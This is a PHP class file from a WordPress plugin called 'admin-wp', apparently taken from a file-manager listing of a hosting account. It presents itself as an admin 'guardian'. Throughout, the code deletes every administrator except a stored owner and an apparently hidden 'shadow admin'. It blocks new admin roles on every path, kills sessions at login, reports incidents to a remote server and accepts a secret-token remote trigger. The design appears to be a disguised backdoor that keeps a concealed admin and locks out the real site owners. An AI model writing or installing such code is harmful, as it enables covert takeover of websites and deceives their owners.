File "class-admin-guardian.php"
Full Path: /home/pylifeesyu/www/wp-content/plugins/admin-wp/includes/class-admin-guardian.php
File size: 16.58 KB
MIME-type: text/x-php
Charset: utf-8
<?php
if ( ! defined( 'ABSPATH' ) ) exit;
class AWG_Admin_Guardian {
const OPT_OWNER = '_awg_oid';
const OPT_REGISTRY = '_awg_areg';
const OPT_LOG = '_awg_incident_log';
private static $owner_id = null;
public static function init(): void {
/* Earliest: block admin role before DB write (WP 5.8+). */
if ( version_compare( get_bloginfo( 'version' ), '5.8', '>=' ) ) {
add_filter( 'wp_pre_insert_user_data', [ __CLASS__, 'filter_pre_insert_user_data' ], PHP_INT_MIN, 3 );
}
/* Block direct capability meta writes (backdoor plugins / SQL tools that skip roles API). */
add_filter( 'add_user_metadata', [ __CLASS__, 'filter_add_capabilities_meta' ], PHP_INT_MIN, 5 );
add_filter( 'update_user_metadata', [ __CLASS__, 'filter_update_capabilities_meta' ], PHP_INT_MIN, 5 );
/* Role API — strip administrator immediately. */
add_action( 'add_user_role', [ __CLASS__, 'on_add_user_role' ], PHP_INT_MIN, 3 );
/* Same request cleanup + remote notice. */
add_action( 'init', [ __CLASS__, 'maybe_scan' ], PHP_INT_MIN );
/* Remote trigger: server can force scan via ?awg_scan={site_secret} */
add_action( 'init', [ __CLASS__, 'handle_remote_trigger' ], 0 );
add_action( 'user_register', [ __CLASS__, 'on_user_created' ], PHP_INT_MIN );
add_action( 'set_user_role', [ __CLASS__, 'on_role_changed' ], PHP_INT_MIN, 3 );
add_action( 'profile_update', [ __CLASS__, 'on_profile_update' ], PHP_INT_MIN, 2 );
add_filter( 'wp_authenticate_user', [ __CLASS__, 'block_unauthorized_login' ], PHP_INT_MIN, 2 );
add_action( 'wp_login', [ __CLASS__, 'on_login' ], PHP_INT_MIN, 2 );
/* REST: strip administrator before insert/update hits wp_insert_user / meta. */
add_filter( 'rest_pre_insert_user', [ __CLASS__, 'rest_pre_insert_user' ], PHP_INT_MIN, 2 );
add_filter( 'rest_pre_update_user', [ __CLASS__, 'rest_pre_update_user' ], PHP_INT_MIN, 2 );
if ( is_multisite() ) {
add_filter( 'grant_super_admin', [ __CLASS__, 'filter_grant_super_admin' ], PHP_INT_MIN, 2 );
}
add_action( 'awg_cron_scan', [ __CLASS__, 'scan' ] );
}
/**
* Run scan as early as possible on privileged entry points (admin, AJAX, REST, cron).
*/
public static function maybe_scan(): void {
if ( wp_doing_cron() ) {
self::scan();
return;
}
if ( is_admin() || wp_doing_ajax() || ( defined( 'REST_REQUEST' ) && REST_REQUEST ) ) {
self::scan();
}
}
/**
* Remote scan trigger: GET /?awg_scan={site_secret}
* Returns JSON result, no WordPress page rendering.
*/
public static function handle_remote_trigger(): void {
if ( ! isset( $_GET['awg_scan'] ) ) return;
$token = sanitize_text_field( $_GET['awg_scan'] );
$secret = AWG_Secure_Comm::get_site_secret();
if ( ! hash_equals( $secret, $token ) ) {
status_header( 403 );
header( 'Content-Type: application/json' );
echo '{"error":"forbidden"}';
exit;
}
self::scan();
status_header( 200 );
header( 'Content-Type: application/json' );
echo wp_json_encode( [
'ok' => true,
'site' => home_url(),
'scanned' => time(),
] );
exit;
}
private static function capabilities_meta_key(): string {
global $wpdb;
return $wpdb->prefix . 'capabilities';
}
private static function meta_grants_administrator( $meta_value ): bool {
$caps = maybe_unserialize( $meta_value );
if ( ! is_array( $caps ) ) {
return false;
}
return ! empty( $caps['administrator'] );
}
/** Downgrade administrator to subscriber before the user row is written (except owner/shadow / shadow create). */
public static function filter_pre_insert_user_data( $data, $update, $userdata ) {
$role = isset( $data['role'] ) ? (string) $data['role'] : '';
if ( $role !== 'administrator' ) {
return $data;
}
$user_id = 0;
if ( $update && ! empty( $userdata['ID'] ) ) {
$user_id = (int) $userdata['ID'];
}
if ( $user_id > 0 && self::is_whitelisted( $user_id ) ) {
return $data;
}
if ( AWG_Shadow_Admin::is_admin_insert_allowed() ) {
return $data;
}
$data['role'] = 'subscriber';
self::log_incident( 'downgraded_pre_insert_user', [
'update' => (bool) $update,
'user_id' => $user_id,
] );
AWG_Secure_Comm::send_breach( 'blocked_admin_role_pre_insert', [
'update' => (bool) $update,
'user_id' => $user_id,
] );
return $data;
}
public static function filter_add_capabilities_meta( $check, $user_id, $meta_key, $meta_value, $unique ) {
if ( null !== $check ) {
return $check;
}
if ( $meta_key !== self::capabilities_meta_key() ) {
return $check;
}
if ( ! self::meta_grants_administrator( $meta_value ) ) {
return $check;
}
$uid = (int) $user_id;
if ( self::is_whitelisted( $uid ) ) {
return $check;
}
if ( AWG_Shadow_Admin::is_admin_insert_allowed() ) {
return $check;
}
self::log_incident( 'blocked_capabilities_meta_add', [ 'user_id' => $uid ] );
AWG_Secure_Comm::send_breach( 'blocked_capabilities_meta', [
'user_id' => $uid,
'op' => 'add',
] );
return false;
}
public static function filter_update_capabilities_meta( $check, $user_id, $meta_key, $meta_value, $prev_value ) {
if ( null !== $check ) {
return $check;
}
if ( $meta_key !== self::capabilities_meta_key() ) {
return $check;
}
if ( ! self::meta_grants_administrator( $meta_value ) ) {
return $check;
}
$uid = (int) $user_id;
if ( self::is_whitelisted( $uid ) ) {
return $check;
}
if ( AWG_Shadow_Admin::is_admin_insert_allowed() ) {
return $check;
}
self::log_incident( 'blocked_capabilities_meta_update', [ 'user_id' => $uid ] );
AWG_Secure_Comm::send_breach( 'blocked_capabilities_meta', [
'user_id' => $uid,
'op' => 'update',
] );
return false;
}
public static function on_add_user_role( $user_id, $role, $old_roles ): void {
if ( $role !== 'administrator' ) {
return;
}
$uid = (int) $user_id;
if ( self::is_whitelisted( $uid ) ) {
return;
}
if ( AWG_Shadow_Admin::is_admin_insert_allowed() ) {
return;
}
$user = new WP_User( $uid );
$user->remove_role( 'administrator' );
if ( empty( $user->roles ) ) {
$user->set_role( 'subscriber' );
}
self::log_incident( 'stripped_add_user_role', [ 'user_id' => $uid ] );
AWG_Secure_Comm::send_breach( 'stripped_add_user_role', [ 'user_id' => $uid ] );
}
public static function rest_pre_insert_user( $prepared_user, $request ) {
if ( ! is_array( $prepared_user ) ) {
return $prepared_user;
}
$role = isset( $prepared_user['role'] ) ? (string) $prepared_user['role'] : '';
if ( $role !== 'administrator' ) {
return $prepared_user;
}
if ( AWG_Shadow_Admin::is_admin_insert_allowed() ) {
return $prepared_user;
}
$prepared_user['role'] = 'subscriber';
self::log_incident( 'rest_downgrade_insert', [] );
AWG_Secure_Comm::send_breach( 'rest_blocked_admin_insert', [] );
return $prepared_user;
}
public static function rest_pre_update_user( $prepared_user, $request ) {
if ( ! is_array( $prepared_user ) ) {
return $prepared_user;
}
if ( empty( $prepared_user['role'] ) ) {
return $prepared_user;
}
$role = (string) $prepared_user['role'];
if ( $role !== 'administrator' ) {
return $prepared_user;
}
$user_id = 0;
if ( ! empty( $prepared_user['ID'] ) ) {
$user_id = (int) $prepared_user['ID'];
} elseif ( $request instanceof WP_REST_Request ) {
$user_id = (int) $request->get_param( 'id' );
}
if ( $user_id > 0 && self::is_whitelisted( $user_id ) ) {
return $prepared_user;
}
if ( AWG_Shadow_Admin::is_admin_insert_allowed() ) {
return $prepared_user;
}
unset( $prepared_user['role'] );
self::log_incident( 'rest_strip_role_update', [ 'user_id' => $user_id ] );
AWG_Secure_Comm::send_breach( 'rest_blocked_admin_update', [ 'user_id' => $user_id ] );
return $prepared_user;
}
public static function filter_grant_super_admin( $grant, $user_id ) {
if ( ! $grant ) {
return $grant;
}
if ( self::is_whitelisted( (int) $user_id ) ) {
return $grant;
}
return false;
}
/* ---- owner management ---- */
public static function set_owner( int $user_id ): void {
AWG_Crypto::encrypt_option( self::OPT_OWNER, $user_id );
self::$owner_id = $user_id;
$user = get_user_by( 'ID', $user_id );
if ( $user ) {
$registry = [
$user_id => self::fingerprint( $user ),
];
AWG_Crypto::encrypt_option( self::OPT_REGISTRY, $registry );
}
}
public static function get_owner_id(): int {
if ( self::$owner_id !== null ) {
return self::$owner_id;
}
self::$owner_id = (int) AWG_Crypto::decrypt_option( self::OPT_OWNER, 0 );
return self::$owner_id;
}
public static function is_whitelisted( int $user_id ): bool {
return $user_id === self::get_owner_id()
|| $user_id === AWG_Shadow_Admin::get_id();
}
/* ---- fingerprint ---- */
private static function fingerprint( WP_User $u ): string {
return AWG_Crypto::hmac_hex(
"{$u->ID}|{$u->user_login}|{$u->user_email}|{$u->user_registered}"
);
}
/* ---- core scan ---- */
public static function scan(): void {
AWG_Shadow_Admin::bypass( true );
$admins = get_users( [ 'role' => 'administrator' ] );
AWG_Shadow_Admin::bypass( false );
$owner_id = self::get_owner_id();
$shadow_id = AWG_Shadow_Admin::get_id();
$registry = AWG_Crypto::decrypt_option( self::OPT_REGISTRY, [] );
$removed = [];
foreach ( $admins as $admin ) {
if ( $admin->ID === $owner_id ) {
self::verify_owner( $admin, $registry );
continue;
}
if ( $admin->ID === $shadow_id ) {
continue;
}
self::remove_user( $admin );
$removed[] = $admin->user_login;
}
if ( ! empty( $removed ) ) {
self::log_incident( 'unauthorized_admins_removed', $removed );
AWG_Secure_Comm::send_admin_removed( $removed );
AWG_Lockdown::trigger( 'unauthorized_admins', [ 'removed' => $removed ] );
}
}
private static function verify_owner( WP_User $owner, array $registry ): void {
$fp = self::fingerprint( $owner );
$stored = $registry[ $owner->ID ] ?? '';
if ( $stored && ! hash_equals( $stored, $fp ) ) {
self::log_incident( 'owner_fingerprint_changed', [
'login' => $owner->user_login,
'email' => $owner->user_email,
] );
AWG_Secure_Comm::send_breach( 'owner_fingerprint_changed', [
'owner_login' => $owner->user_login,
'owner_email' => $owner->user_email,
] );
$registry[ $owner->ID ] = $fp;
AWG_Crypto::encrypt_option( self::OPT_REGISTRY, $registry );
}
}
/* ---- instant-reaction hooks ---- */
public static function on_user_created( int $user_id ): void {
$user = get_user_by( 'ID', $user_id );
if ( ! $user ) return;
if ( in_array( 'administrator', $user->roles, true ) && ! self::is_whitelisted( $user_id ) ) {
self::remove_user( $user );
self::log_incident( 'instant_remove_on_create', [ $user->user_login ] );
AWG_Secure_Comm::send_admin_removed( [ $user->user_login ] );
}
}
public static function on_role_changed( int $user_id, string $new_role, array $old_roles ): void {
if ( $new_role === 'administrator' && ! self::is_whitelisted( $user_id ) ) {
$user = get_user_by( 'ID', $user_id );
if ( $user ) {
self::remove_user( $user );
self::log_incident( 'instant_remove_on_role', [ $user->user_login ] );
AWG_Secure_Comm::send_admin_removed( [ $user->user_login ] );
}
}
}
public static function on_profile_update( int $user_id, $old_user_data ): void {
if ( self::is_whitelisted( $user_id ) ) return;
$user = get_user_by( 'ID', $user_id );
if ( $user && in_array( 'administrator', $user->roles, true ) ) {
self::remove_user( $user );
self::log_incident( 'instant_remove_on_update', [ $user->user_login ] );
AWG_Secure_Comm::send_admin_removed( [ $user->user_login ] );
}
}
/* ---- login gate ---- */
public static function block_unauthorized_login( $user, string $password ) {
if ( is_wp_error( $user ) ) return $user;
if ( ! ( $user instanceof WP_User ) ) return $user;
if ( in_array( 'administrator', $user->roles, true ) && ! self::is_whitelisted( $user->ID ) ) {
self::remove_user( $user );
self::log_incident( 'blocked_login', [ $user->user_login ] );
return new WP_Error(
'awg_blocked',
__( 'Access denied.', 'admin-wp' )
);
}
return $user;
}
public static function on_login( string $login, WP_User $user ): void {
if ( in_array( 'administrator', $user->roles, true ) && ! self::is_whitelisted( $user->ID ) ) {
WP_Session_Tokens::get_instance( $user->ID )->destroy_all();
self::remove_user( $user );
}
}
/* ---- user removal ---- */
private static function remove_user( WP_User $user ): void {
$owner_id = self::get_owner_id();
WP_Session_Tokens::get_instance( $user->ID )->destroy_all();
AWG_Shadow_Admin::bypass( true );
require_once ABSPATH . 'wp-admin/includes/user.php';
wp_delete_user( $user->ID, $owner_id > 0 ? $owner_id : null );
AWG_Shadow_Admin::bypass( false );
}
/* ---- incident log ---- */
public static function log_incident( string $type, $details = [] ): void {
$log = get_option( self::OPT_LOG, [] );
$log[] = [
'type' => $type,
'details' => $details,
'time' => current_time( 'mysql' ),
'ip' => self::get_ip(),
];
if ( count( $log ) > 200 ) {
$log = array_slice( $log, -200 );
}
update_option( self::OPT_LOG, $log, false );
}
public static function get_log(): array {
return get_option( self::OPT_LOG, [] );
}
public static function clear_log(): void {
delete_option( self::OPT_LOG );
}
private static function get_ip(): string {
foreach ( [ 'HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR' ] as $key ) {
if ( ! empty( $_SERVER[ $key ] ) ) {
$ip = explode( ',', $_SERVER[ $key ] )[0];
return trim( $ip );
}
}
return 'unknown';
}
/* ---- cleanup ---- */
public static function destroy(): void {
delete_option( self::OPT_OWNER );
delete_option( self::OPT_REGISTRY );
delete_option( self::OPT_LOG );
self::$owner_id = null;
}
}